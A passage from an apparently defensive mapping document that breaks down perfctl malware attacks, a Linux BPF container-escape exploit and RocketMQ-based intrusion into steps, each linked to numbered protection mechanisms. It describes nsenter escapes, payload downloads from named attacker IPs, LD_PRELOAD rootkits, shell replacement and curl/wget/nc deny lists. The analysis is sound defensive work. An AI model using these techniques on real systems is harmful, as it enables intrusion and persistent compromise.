  • BR-30: Process Credential Protection - This mechanism is applicable if the attacker attempts credential theft via privilege escalation that involves tampering with process credential structures in the kernel.
  • BR-46: DirtyCred Protection - This mechanism is applicable if the attacker uses DirtyCred-like exploits (swapping kernel credentials via file writes) to gain privileges needed to access credential files.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the credential searching scripts/tools are executed from non-allowlisted paths.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if credential searching tools/scripts are introduced post-load.

F1: Detailed attack sequence exploiting an exposed Docker Remote API to deploy perfctl malware, including container escape, payload execution, and persistence establishment.

• Attacker probes the target network to identify an exposed Docker Remote API server. (Cited from: "The sequence of events in this planned attack campaign begins with a ping to the Docker Remote API server")
• Attacker sends a request to the exposed Docker API to create a new container named kube-edagent using the ubuntu:mantic-20240405 image. (Cited from: "A container named "kube-edagent” was created from the ubuntu:mantic-20240405 base image", "deliberately giving it a name similar to a legitimate container")
  • BR-57: Cluster Drift Protection - This mechanism is applicable because it prevents unauthorized deployment of new pods/containers outside the standard control plane (like the Kubernetes API). While the attack uses the Docker API directly, in a K8s context, this could be seen as bypassing the K8s scheduler and API server, which BR-57 aims to prevent.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable IF the attacker somehow gained host access first and was using the local Docker socket (containerd.sock, docker.sock) to create the container, AND the attacking process lineage didn't originate from kubelet. The article describes using the remote network API, making BR-61 less directly applicable to this specific initial step, but relevant to preventing misuse of the local socket.
  • BR-47: Container Capability Control - This mechanism is applicable because it allows enforcing policies on container creation, potentially blocking the creation of containers that request excessive capabilities or privileged mode, even if initiated via the Docker API.
• The container is configured to run in privileged mode (Privileged: true) and share the host's PID namespace (pid mode: host). (Cited from: "They configure the container to operate in privileged mode by setting "Privileged" to "true." They also utilize "pid mode: host," allowing the container to share the Process ID (PID) namespace of the host system.")
  • BR-47: Container Capability Control - This mechanism is applicable because it allows administrators to define and enforce specific, limited capabilities for containers, overriding requests for full privileged mode (Privileged: true). It can prevent containers from running with unnecessary high privileges required for subsequent steps like nsenter.
  • BR-67: Container Root User Control - This mechanism is applicable as running in privileged mode often implies running processes as root. BR-67 detects and can prevent non-init processes from running as root within the container, reducing the impact of privileged mode.
  • BR-49: Namespace Execution Guard - While BR-49 primarily blocks nsenter usage, configuring a container with pid mode: host is a prerequisite often used to facilitate such escapes. Preventing the creation of containers with host PID namespace sharing aligns with the goal of preventing namespace escapes.
• A simple command (sleep 9955) is set to run within the container, likely for later process identification. (Cited from: "with “sleep 9955" specified as the command to be executed once the container is up and running. The "sleep" command is used to identify the container process when running the "ps" command.")
• If the specified Ubuntu image is not present, the attacker ensures it is pulled from Docker Hub. (Cited from: "The image below is pulled from Docker Hub, and another attempt is made to create the container if the ubuntu image is not present in the victim machine.")
• Attacker uses the Docker Exec API to run commands within the created container. (Cited from: "Payloads are executed using a Docker Exec API.")
• The executed command uses nsenter targeting PID 1 (target 1) with flags (--mount, --uts, --ipc, --net, --pid) to break out of the container's namespace isolation and gain access equivalent to the host system. (Cited from: "The first part tries to escape the container by using the "nsenter" command to enter the specific namespaces of the target process with PID 1 (“target 1”)... indicating that it should enter the target's mount, UTS, IPC, network, and PID namespaces, effectively granting it similar capabilities as if it were running in the host system.")
  • BR-49: Namespace Execution Guard - This mechanism is specifically designed to block commands like nsenter from being used to enter container namespaces from the host, or in this case, using nsenter within a container with host PID access to manipulate host namespaces. It intercepts the underlying setns syscall.
  • BR-47: Container Capability Control - This mechanism is applicable because using nsenter to manipulate namespaces typically requires the SYS_ADMIN capability. If the container was prevented from having this capability (e.g., by BR-47 blocking privileged mode), the nsenter command would fail.
  • BR-41: Container Memory Namespace Isolation - This mechanism is applicable because it creates stronger isolation between namespaces, potentially interfering with or blocking the nsenter command's ability to switch between or manipulate namespaces effectively, particularly if memory access across namespaces is involved or attempted.
  • BR-68: Spaces-based Strong Isolation - This mechanism provides strong memory isolation between namespaces. While primarily focused on memory access, the robust isolation could potentially hinder or block the operations performed by nsenter when attempting to switch namespaces.
  • BR-90: Process Exec Deny - This mechanism could apply if nsenter itself (e.g., /usr/bin/nsenter) is added to the deny list policy, preventing its execution.
  • BR-88: Process Path Exec Allow - This mechanism could apply if nsenter is executed from a path (e.g., within the container's possibly modified filesystem) that is not on the execution allowlist.
• A Base64 encoded shell script is passed as the second part of the payload to nsenter. (Cited from: "The second part contains a Base64 encoded shell script.")
• The decoded script first checks for and terminates existing instances of itself (nsenter.bash.base64) to prevent duplicates. (Cited from: "Step 1: Check and Prevent Duplicate Processes It checks for multiple running processes matching the pattern "nsenter.bash.base64" to avoid running similar processes simultaneously.")
• The script creates a new bash script named kubeupd in /tmp. (Cited from: "Step 2: Create a Bash Script It creates a bash script called "kubeupd" in the "/tmp" directory.")
  • BR-75: Critical Directory Write Protection - This mechanism could apply if /tmp were configured as a critical directory (though uncommon), blocking the write operation.
  • BR-65: Container Host Drift Prevention - This mechanism applies primarily to the execution of this script later, but the creation is the first step. It tracks files added post-boot and can block their execution if not done by an allow-listed process/container.
  • BR-62: Linux/Host Drift Protection - This mechanism applies to the execution of this script if it was added outside a trusted package manager after escape to the host.
• Within kubeupd, the script sets an environment variable VEI containing the public IP of the compromised Docker API (dck_<public IP of docker API>). (Cited from: "This script sets the environment variable "VEI" to "dck_<public IP of docker API>." It is assumed that a customized payload has been generated based on the IP address identified in earlier stages.")
• kubeupd also contains another Base64 encoded payload. (Cited from: "The script also includes another Base64 encoded bash payload.")
• The inner Base64 payload within kubeupd is executed.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because the script /tmp/kubeupd is being executed. If /tmp is not an allowed execution path in the policy, BR-88 would block the exec() call for bash /tmp/kubeupd.
  • BR-65: Container Host Drift Prevention - This mechanism applies because a new script (/tmp/kubeupd), created after boot on the host filesystem (post-escape), is being executed. BR-65 blocks execution of files added post-boot unless created by allow-listed privileged containers or host processes.
  • BR-62: Linux/Host Drift Protection - This mechanism applies because a script (/tmp/kubeupd) added to the host filesystem outside of a trusted package manager is being executed.
  • BR-90: Process Exec Deny - This mechanism could apply if bash itself were added to the deny list, though this is generally impractical.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism would apply if this execution step occurred inside the container before the escape, blocking the execution of a script not present in the original image. Since it happens post-escape, BR-62/BR-65 are more relevant.
• This inner script checks architecture (x86_64), creates /tmp if missing, ensures /tmp is executable (mount -o remount,exec /tmp), and creates directories /tmp/.perfc and /tmp/xdiag. (Cited from: "The script will terminate if the architecture is not "x86_64."", "It initially checks for the presence of the "/tmp" directory and creates it if it does not exist. Then, it sets the "/tmp" mount as executable using the "exec" option. Subsequently, it creates ".perfc" and "xdiag" directories within the "/tmp" directory.")
  • BR-66: Host FS Mount Control - This mechanism is applicable because it intercepts mount system calls. The attempt to remount /tmp with the exec option could be blocked if the policy disallows modifications to mount options for critical filesystems or disallows the exec flag on /tmp.
  • BR-75: Critical Directory Write Protection - This mechanism could apply to the creation of .perfc and xdiag if /tmp were configured as a critical directory.
• The script stores the VEI variable content into /tmp/.xdiag/vei. (Cited from: "The environment variable $VEI, which contains "dck<publicip>", is included in "/tmp/.xdiag/vei."")
  • BR-75: Critical Directory Write Protection - This mechanism could apply if /tmp or /tmp/.xdiag were configured as critical directories.
• It checks if a previous instance of the malware is running by looking for a PID file (/tmp/.xdiag/p) and verifying the process in /proc/ or checking for specific TCP ports (44870, 63582). (Cited from: "It confirms the presence of a malicious process by checking "/tmp/.xdiag/p," which should contain the PID of the malicious process. It verifies the existence of the same process by checking the "/proc/" directory. The secondary check looks for active TCP connections using ports 44870 or 63582.")
• If no existing malware process is found, it downloads the main malicious binary from a C2 server (e.g., http://46.101.139[.]173/main/dist/aoip), saving it as /tmp/httpd (disguised as a PHP extension in the URL, saved with a legitimate-looking name). It uses a custom __curl function if curl or wget are unavailable. (Cited from: "If it confirms that the process is not running, then it will download the malicious binary, which is disguised as a PHP extension, to avoid file extension-based detection.", "Downloading the binary file uses the custom __curl function if curl and wget are not in the system.", "It downloads the file in the “/tmp” directory with the “httpd” name to look like a legitimate name.", "http://46.101.139[.]173/main/dist/aoip")
  • BR-90: Process Exec Deny - This mechanism is applicable because it blocks execution based on process name suffixes. If the script attempts to execute /usr/bin/curl or /usr/bin/wget, and the policy includes /curl or /wget (as default), their execution would be blocked.
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent specified processes (like bash running the script, or curl/wget if executed) from initiating outgoing network connections needed for the download.
  • BR-80: Tainted File Download Protection - This mechanism is specifically designed for this scenario. It monitors processes like wget or curl fetching code over the network and can block subsequent execution of that downloaded code.
  • BR-75: Critical Directory Write Protection - This mechanism could apply if /tmp were configured as a critical directory, preventing the binary from being saved there.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of curl or wget if they reside in a path not on the allowlist (less likely for standard tools, but possible). More relevant to the execution of the downloaded /tmp/httpd in the next step.
  • BR-65: Container Host Drift Prevention - This mechanism applies to the execution of the downloaded file in the next step, as it tracks files added post-boot.
  • BR-62: Linux/Host Drift Protection - This mechanism applies to the execution of the downloaded file in the next step, as it tracks files added outside trusted package managers.
• After verifying the download (file existence and size check), it kills any existing perfctl processes, sets executable permissions on the downloaded binary (/tmp/httpd), updates the PATH, and executes the binary (KRI=kr httpd) in the background. (Cited from: "If the downloaded file exists and its size matches a specific value (e.g., 9301499), it triggers more actions. These actions include killing processes (perfctl), setting permissions, updating the PATH environment variable, and executing a command (KRI=kr httpd) in the background.")
  • BR-65: Container Host Drift Prevention - This mechanism is highly applicable. It detects that /tmp/httpd is a file added/modified on the host filesystem after boot and was not created by an allow-listed process/container, and blocks its execution.
  • BR-62: Linux/Host Drift Protection - This mechanism is highly applicable. It detects that /tmp/httpd was added to the host filesystem outside of a trusted package manager and blocks its execution.
  • BR-88: Process Path Exec Allow - This mechanism is highly applicable. If /tmp is not included in the allowlist of executable paths, the execution of /tmp/httpd will be blocked.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism would apply if this execution occurred within the container before escape, blocking a binary not in the original image. Since it's post-escape on the host, BR-62/BR-65 are the primary mitigations.
  • BR-55: Reverse Shell Protection - This mechanism could apply if the executed /tmp/httpd binary attempts to establish a reverse shell by binding shell I/O to a network socket.
  • BR-90: Process Exec Deny - This mechanism could apply if the name httpd itself (or a pattern matching it) was added to the deny list, although the default deny list focuses on nc, wget, curl.
  • BR-87: Process Socket Deny - This mechanism could apply if the policy denies network socket access for the process named httpd (or the process that executed it), preventing its C2 communication.
• The script establishes persistence: if systemd is active, it creates a systemd service; otherwise, it creates a cron job. (Cited from: "Step 4: Engage a Persistence Strategy To remain active, the malware uses a persistence strategy. If systemd runs as non-offline, it creates a systemd service using "multi-user.target." Otherwise, it resorts to creating a cron job")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the directories where systemd service files (/etc/systemd/system/, /usr/lib/systemd/system/) or cron jobs (/etc/cron.d/, /var/spool/cron/) are stored are configured as critical and write-protected.
  • BR-65: Container Host Drift Prevention - This mechanism applies if the persistence mechanism involves executing a script or binary (/tmp/httpd or /tmp/kubeupd) that was added post-boot and is covered by drift protection. It blocks the execution triggered by systemd or cron.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if the persistence mechanism involves executing a script or binary added outside a trusted package manager. It blocks the execution triggered by systemd or cron.
  • BR-88: Process Path Exec Allow - This mechanism applies if the persistence mechanism executes a script or binary from a path (like /tmp) that is not on the allowlist.
• The script includes a fallback mechanism (Fallback function) involving replacing /bin/sh with a modified version (/bin/kkbush) to potentially bypass detection and maintain access, later restoring the original. (Cited from: "Fallback: It sets up a persistent backdoor by replacing the original "/bin/sh" shell with a modified version that enables privilege escalation and execution of any command. It then duplicates the original "sh" file as the "kkbush" and "kbush" binaries and later restores it during the cleanup process.", "Restore_sh: It replaces the "/bin/sh" file with "/bin/kkbush" to bypass the detection (T1036.005).")
  • BR-75: Critical Directory Write Protection - This mechanism is highly applicable if /bin is configured as a critical directory. It would block the attempt to overwrite /bin/sh.
  • BR-65: Container Host Drift Prevention - This mechanism applies to the execution of the replaced /bin/sh or the new kkbush binary, as these represent modifications or additions to the host filesystem post-boot.
  • BR-62: Linux/Host Drift Protection - This mechanism applies to the execution of the replaced /bin/sh or the new kkbush binary, as these modifications were made outside a trusted package manager.
  • BR-88: Process Path Exec Allow - This mechanism could apply if the modified shell or kkbush were moved to a non-allowed path before execution, or potentially if modification of files in allowed paths triggers scrutiny (though BR-88 focuses on exec path).
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism would apply if this file replacement occurred within the container before the escape.

F1: Exploitation of CVE-2023-52447 (Linux Kernel BPF Use-After-Free) using a Proof-of-Concept (PoC) approach targeting core_pattern for container escape.

• Attacker identifies a target system running a vulnerable Linux kernel version (v5.8 to v6.6). (Cited from: "affects Linux kernel versions from v5.8 to v6.6")
• Attacker obtains or develops a BPF program designed to trigger the use-after-free vulnerability related to arraymap pointers in arrayofmaps. (Cited from: "use-after-free flaw in the Linux kernel’s BPF subsystem, specifically related to how arraymap pointers are managed in BPF programs", "The issue occurs when a BPF program holds an arraymap pointer from an arrayofmaps without properly increasing the reference count.")
• The BPF program includes a time-consuming operation to create a window for a race condition. (Cited from: "If the BPF program performs a time-consuming operation, it can allow another thread to free the arraymap and reclaim the memory, leading to a use-after-free condition.")
• Attacker orchestrates a race condition between two threads using the crafted BPF program to trigger the use-after-free. (Cited from: "The vulnerability can be exploited by carefully orchestrating a race condition between two threads")
• Within the exploit process, the attacker manipulates a victim arraymap's max_entries and index_mask. (Cited from: "Modified victim arraymap’s maxentries and indexmask.")
• The attacker leverages the compromised victim arraymap to modify a nearby arrayofmaps entry (index 0) to point to a calculated address related to core_pattern (corepattern - structbpfarrayoffset). (Cited from: "Use victim arraymap to modified near arrayofmaps’s value index 0 arraymap as (corepattern-structbpfarrayoffset).")
• The attacker updates the arrayofmaps structure, effectively using the manipulated pointers to overwrite the system's core_pattern setting in kernel memory. (Cited from: "Update arrayofmaps to modify core_pattern.")
  • BR-42: Core Pattern String Protection - This mechanism is applicable because it specifically prevents malicious attempts to modify the core_pattern kernel string. It detects and blocks unauthorized modifications to this string, which is exactly what the attacker is attempting in this step to set up code execution upon a crash.
  • BR-39: Integrity Patch Violation - This mechanism is applicable because it detects and responds to unauthorized or malicious patch attempts within the guest kernel, including direct memory modifications like overwriting core_pattern. It would log or block this modification attempt based on policy.
  • BR-35: Kernel Integrity Protection - This mechanism is potentially applicable if the core_pattern variable resides within a kernel memory region protected by UltraSecurity™ (e.g., read-only data sections, though core_pattern is typically writable via procfs). It monitors and blocks unauthorized write attempts to protected kernel regions. However, BR-42 is more specific to core_pattern.
• By controlling core_pattern, the attacker sets up a scenario where a subsequent process crash will execute attacker-controlled code on the host, achieving container escape. (Cited from: "Achieve container escape.")

F1: Initial compromise via vulnerability/misconfiguration, payload download, and process masquerading.

• Attacker exploits a known vulnerability (e.g., CVE-2023-33246 in RocketMQ) or one of over 20,000 targeted misconfigurations to gain initial access to the Linux server. (Cited from: "After exploiting a vulnerability (as in our case) or a misconfiguration", "actively sought more than 20,000 types of misconfigurations", "initial access was gained via this vulnerability (CVE-2023-33246)")
  • BR-48: Java Deserialization Protection - This mechanism is applicable if the RocketMQ vulnerability (or similar exploited service) involves Java deserialization from the network leading to OS command execution. It prevents the deserialized object from executing system-native binaries.
  • BR-70: Back-Link Directory Traversal - This mechanism is applicable if the initial access vector involves a directory traversal attack against a web application or service (like potentially exploiting misconfigurations). It blocks file IO attempts outside allowed paths when network input contains traversal patterns.
  • BR-74: Java OS Command Injection Prevention - This mechanism is applicable if the exploited vulnerability (like in RocketMQ) allows injecting OS commands directly through a Java application. It monitors the Java runtime and blocks attempts to execute system-native binaries.
  • BR-76: Python Deserialization Protection - This mechanism is applicable if the exploited vulnerability involves Python deserialization leading to OS command execution. It restricts deserialized objects from executing system-native binaries.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable if the exploited vulnerability allows injecting OS commands directly through a Python application. It monitors the Python runtime and blocks attempts to execute system-native binaries.
  • BR-87: Process Socket Deny - This mechanism is applicable if the exploited service is a process that should not normally be making outbound connections or accepting unexpected inbound ones. A policy could deny socket operations for the vulnerable service process, potentially blocking exploit delivery or C2 setup.
  • BR-91: Sensitive File Access - This mechanism is applicable if the misconfiguration exploited involves reading sensitive files (e.g., config files with credentials). It can alert on or block access attempts to predefined sensitive files.
• Attacker downloads the initial shell script payload (rconf in the example) from an attacker-controlled HTTP server (e.g., 46.101.139.173, 104.183.100.189, 198.211.126.180). (Cited from: "the main payload is downloaded from an HTTP server controlled by the attacker", "led to download and execution of the shell script rconf", "We saw 3 download servers involved in these attacks (46.101.139.173, 104.183.100.189 and 198.211.126.180)")
  • BR-80: Tainted File Download Protection - This mechanism is applicable because it monitors network activity for specific processes (like curl/wget, which might be used here) downloading executable code (like the rconf script) and blocks subsequent execution.
  • BR-87: Process Socket Deny - This mechanism is applicable if the process initiating the download (e.g., the exploited RocketMQ process) is not on the allow list for making outbound network connections.
  • BR-90: Process Exec Deny - This mechanism is applicable if the download is performed using wget or curl (or nc), as these are blocked by default suffix matching. It prevents the execution of these specific tools.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the download tool (wget, curl, or a custom binary) is executed from a path not on the allow list (e.g., downloaded to /tmp). It would block the execution of the download tool itself.
• The rconf script executes, performing checks: verifies x86_64 architecture, ensures /tmp is writable and executable (remounting with exec if needed), creates directories (/tmp/.xdiag, /tmp/.awpvt), and sets environment variables (A2ZNODE, VEI). (Cited from: "script continues with a simple if condition, that will ensure that the targeted attacked server OS architecture is x86_64", "verifies that the /tmp directory exists and has read, write, and execute permissions", "If the noexec option is found in the mount options (no execution permissions), it remounts /tmp with the exec option", "creating two directories under /tmp path", "setting the environment variable A2ZNODE to localhost", "setting the environment variable VEI to rmq")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the rconf script itself is considered drift (not part of the original container image) and execution is attempted within a container. It blocks the execution of unauthorized scripts.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the rconf script was added to the host filesystem outside of a trusted package manager post-boot. It blocks the execution of such drifted files.
  • BR-66: Host FS Mount Control - This mechanism is applicable to the step where the script attempts to remount /tmp with exec permissions. If /tmp is on a host filesystem mount not on the allow list, this could potentially interfere, although it primarily controls mounting new filesystems, not remounting existing ones.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /tmp or the parent directory were designated as critical and write-protected by policy. It would block the creation of /tmp/.xdiag and /tmp/.awpvt.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the interpreter executing the rconf script (e.g., /bin/sh) resides in an allowed path, but the script itself (rconf) is located in a disallowed path (like /tmp if /tmp is not allowed for execution). It would block the exec() call that starts the script.
  • BR-90: Process Exec Deny - This mechanism is applicable if the script was executed via a denied interpreter (unlikely for standard shells but possible if a custom/malicious interpreter matched a deny rule).
• The rconf script uses curl, wget, or a custom function to download the main malware payload (avatar.php in the example) from the attacker's server, requiring a specific user agent to receive the actual malware instead of a decoy file. (Cited from: "uses either curl, wget, or the custom download function", "download the necessary file", "if you use the correct user agent it will drop the malware", "main payload avatar.php was downloaded")
  • BR-80: Tainted File Download Protection - This mechanism is applicable as it monitors downloads by specific processes (curl/wget) containing code (avatar.php which is the malware binary) and blocks subsequent execution.
  • BR-87: Process Socket Deny - This mechanism is applicable because the process running the rconf script (or curl/wget if called directly) needs to make an outbound connection. If this process is not on the socket allow list, the connection is blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if curl or wget are executed from a disallowed path. It would block the execution of these tools.
  • BR-90: Process Exec Deny - This mechanism is applicable as it denies execution of processes ending in /curl or /wget by default, preventing these tools from running to download the payload.
• The downloaded payload (avatar.php) is renamed to httpd. (Cited from: "renamed to httpd")
• The httpd binary is executed. (Cited from: "executed, we can focus on this binary")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if this execution occurs within a container and the httpd binary was not part of the original image. It blocks the execution of unauthorized binaries.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if this execution occurs on the host and the httpd binary was added after boot outside a trusted package manager. It blocks the execution of drifted files.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the httpd binary is located in a filesystem path that is not on the execution allow list (e.g., downloaded to /tmp or a user directory). It blocks the exec() call.
  • BR-90: Process Exec Deny - This mechanism is applicable if the final path component of the httpd binary matches a pattern on the deny list (unlikely for 'httpd' unless explicitly added).
• The executed httpd process copies itself from memory to /tmp, naming the new binary after the process that executed it (e.g., sh if run via shell). It stores the original process ID in /tmp/.apid. (Cited from: "the main payload copies itself from memory to a new location in the ‘/tmp’ directory", "malware chose the name of the process that originally executed it", "In our case the malware was executed by sh, thus the name of the malware was changed from httpd to sh", "It also saves the pid under the /tmp/.apid")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /tmp is configured as a critical directory, blocking the write of the new binary (sh) and the PID file (.apid).
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism is applicable as it detects suspicious activity related to memory-backed filesystems like /tmp (often tmpfs), including script/binary execution from such locations. Writing and preparing for execution from /tmp could trigger alerts.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because subsequent execution will occur from /tmp. If /tmp is not an allowed execution path, BR-88 will block that future execution step (F1.9).
  • BR-91: Sensitive File Access - This mechanism is applicable if /tmp/.apid (or patterns matching hidden files in /tmp) is added to the sensitive file list. It could alert on or block the creation/writing of this file.
• The original httpd process terminates itself and the initial binary file is deleted. (Cited from: "terminates the original process, and then deletes the initial binary to cover its tracks", "Httpd then stops and deletes itself")
  • BR-24: File Operations Protection - This mechanism is applicable if the deletion involves manipulating file operation structures to hide the deletion, potentially detected as corruption.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the initial binary was located in a protected directory (unlikely if just downloaded). It wouldn't prevent termination but could potentially block deletion if the mechanism also covers deletes.
• The masqueraded payload (now named sh in /tmp) continues execution. (Cited from: "The main payload is now executed from the /tmp directory under a different name", "The binary sh (MD5: 656e22c65bf7c04d87b5afbe52b8d800) is an exact copy of httpd. After sh is executed...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if running in a container. Since the /tmp/sh binary was written after the container started, it's drift, and execution is blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if running on the host. Since /tmp/sh was added after boot outside a package manager, its execution is blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because the process is executing from /tmp. If /tmp is not in the execution allow list, the exec() call is blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable if the masqueraded name happens to be nc, wget, or curl (or any other name added to the deny list). It would block execution based on the name suffix.

​

F2: Establishment of persistence, deployment of rootkits, and evasion mechanisms.

• The running malware (sh process) copies itself from memory to multiple locations with deceptive names: /root/.config/cron/perfcc, /usr/bin/perfcc, /usr/lib/libpprocps.so, and /usr/lib/libfsnkdev.so. (Cited from: "The binary sh is also copying itself from memory to various locations, as it saves itself as libpprocps.so and also as /root/.config/cron/perfcc, /usr/bin/perfcc, and /usr/lib/libfsnkdev.so.")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /root, /usr/bin, or /usr/lib are configured as critical directories. It would block the writing of these files.
  • BR-91: Sensitive File Access - This mechanism is applicable if specific paths like /root/.config/cron/perfcc or patterns matching /usr/lib/*.so are added to the sensitive list. It could alert or block write attempts.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if running on the host. It checks if the process writing the file (sh from /tmp) is an allowed privileged container or host process. If not, subsequent execution attempts of the newly written files (perfcc, lib*.so) would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if running on the host. It marks these files as drift, blocking subsequent execution attempts.
• The malware modifies the ~/.profile script to execute /root/.config/cron/perfcc upon user login, ensuring the malware runs before legitimate workloads. (Cited from: "The attacker modifies the ~/.profile script... designed to execute the malware first", "It checks if /root/.config/cron/perfcc is an executable file, and if so, it runs the malware.")
  • BR-25: Read-Only File Protection - This mechanism is applicable if ~/.profile was somehow marked read-only and the write attempt used a pipe-based technique. It detects and prevents writes to read-only files via pipes.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the user's home directory or specifically ~/.profile were configured as critical and write-protected.
  • BR-91: Sensitive File Access - This mechanism is applicable as ~/.profile could be considered a sensitive configuration file. Access attempts (write) could be alerted or blocked.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if running on the host. It checks if the process modifying .profile (sh from /tmp) is allowed. If not, it might not block the write itself, but subsequent execution based on this modification could be impacted by other drift mechanisms.
• The malware drops a persistence helper binary wizlmsh to /usr/bin, which runs as a service to ensure the main payload remains active. (Cited from: "The binary wizlmsh is dropped to /usr/bin", "It is responsible for the persistence of perfctl malware.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if in a container, blocking subsequent execution of wizlmsh as it's drifted.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if on the host, blocking subsequent execution of wizlmsh as it's drifted.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /usr/bin is write-protected.
  • BR-88: Process Path Exec Allow - This mechanism is applicable as subsequent execution of /usr/bin/wizlmsh would be blocked if /usr/bin is not an allowed execution path (highly unlikely, but possible in strict policies).
• The malware drops the main rootkit payload as a shared object file (libgcwrap.so). (Cited from: "drops a rootkit", "The rootkit itself is an ELF 64-bit LSB shared object (.so) file named libgcwrap.so")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the drop location (e.g., /usr/lib) is write-protected.
  • BR-89: Library Load Path Allow - This mechanism is applicable at the time of loading. If libgcwrap.so is dropped to a path not on the allowed library load path list (e.g., /tmp), attempts to load it (via LD_PRELOAD) would be blocked.
• The malware uses LD_PRELOAD mechanism, likely by modifying /etc/ld.so.preload, to load the libgcwrap.so rootkit before other libraries. (Cited from: "The rootkit is using LD_PRELOAD to load itself before other libraries.", "Check system logs for modifications to ~/.profile, and /etc/ld.so.preload files.")
  • BR-25: Read-Only File Protection - This mechanism is applicable if /etc/ld.so.preload was read-only and modified via a pipe technique.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /etc or /etc/ld.so.preload is write-protected.
  • BR-89: Library Load Path Allow - This mechanism is applicable when a process starts and attempts to load libgcwrap.so due to the LD_PRELOAD instruction. If the path to libgcwrap.so is not allowed, the library load is blocked.
  • BR-91: Sensitive File Access - This mechanism is applicable as /etc/ld.so.preload is a sensitive configuration file. Write attempts can be alerted or blocked.
• The loaded libgcwrap.so rootkit hooks critical functions like pam_authenticate (potentially bypassing authentication or logging credentials) and pcap_loop (to hide malicious network traffic from capture tools). (Cited from: "hooking to Libpam symbols. Specifically, to the function pamauthenticate", "rootkit is also designed to hook Libpcap symbols, specifically to the function pcaploop... used to prevent recording of the malware traffic.")
  • BR-35: Kernel Integrity Protection - This mechanism is applicable if the hooking involves patching kernel code sections or read-only data, although the description mentions hooking library functions (Libpam, Libpcap), which might occur in user space memory. If the rootkit attempts kernel-level modifications to facilitate this, KIP applies.
  • BR-39: Integrity Patch Violation - This mechanism is applicable if the hooking mechanism involves unauthorized patching of the kernel itself to redirect library calls or modify kernel behavior related to PAM or networking.
  • BR-45: Page Table Protection - This mechanism is applicable if the hooking involves manipulating kernel page tables to redirect execution flow for library functions.
  • BR-58: X-Lib Overwrite Supply Chain Defense - This mechanism is applicable as it specifically targets preventing compromised libraries (like the rootkit acting as one) from overwriting the control flow of trusted libraries (like libpam or libpcap). It monitors and validates library calls.
  • BR-94: Netfilter Hook Protection - This mechanism is applicable if the rootkit attempts to manipulate network traffic by inserting malicious hooks into the Netfilter framework (related to pcap_loop's purpose).
• The malware modifies /etc/profile to prepend /bin/.local/bin (or /home/???/.local/bin/) to the system PATH. (Cited from: "malware replaces the /etc/profile so the path will be set on /bin/.local/bin:$PATH", "The malware Perfctl is dropping in the path /home/???/.local/bin/ 4 binaries")
  • BR-25: Read-Only File Protection - This mechanism is applicable if /etc/profile was read-only and modified via a pipe technique.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if /etc or /etc/profile is write-protected.
  • BR-91: Sensitive File Access - This mechanism is applicable as /etc/profile is a sensitive configuration file. Write attempts can be alerted or blocked.
• The malware drops modified versions of legitimate Linux utilities (ldd, lsof, top, crontab) into the prepended path (/bin/.local/bin/ or similar). These act as user-land rootkits to hide malware processes, files, network connections, or cron jobs when these specific utilities are invoked. (Cited from: "drop a few legitimate utilities such as ldd. These utilities were modified to hide specific attack elements", "In our attacks the malware dropped crontab, lsof, ldd and top.", "These tweaked binaries will hide malicious activities")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if in a container, blocking subsequent execution of these modified utilities as they are drifted.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if on the host, blocking subsequent execution of these modified utilities as they are drifted.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the target path (/bin/.local/bin or /home/.../.local/bin) is write-protected.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because even though /usr/bin/top might be allowed, if a user executes top and the modified version from /.local/bin/top runs due to PATH precedence, BR-88 would block it if /.local/bin is not an allowed execution path.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable if on the host. It blocks execution of these new files if the writing process was not allow-listed.
• The malware establishes a Unix socket (/tmp/.xdiag/int/.per.s) for internal communication between its components and uses files within /tmp/.xdiag/ for logging and storing operational data (e.g., cp for pathnames, elog for events, tordata for TOR info). (Cited from: "malware opens a Unix socket", "creates two directories under the /tmp directory, and stores data there that influences its operation", "Via /tmp/.xdiag/int/.per.s, it writes logs", "Appendix 6: Unix Socket Communication")
  • BR-55: Reverse Shell Protection - This mechanism might be applicable if the communication over the Unix socket involves interactive shell-like commands between components, although it primarily targets network sockets bound to shell FDs. Its applicability here is less direct.
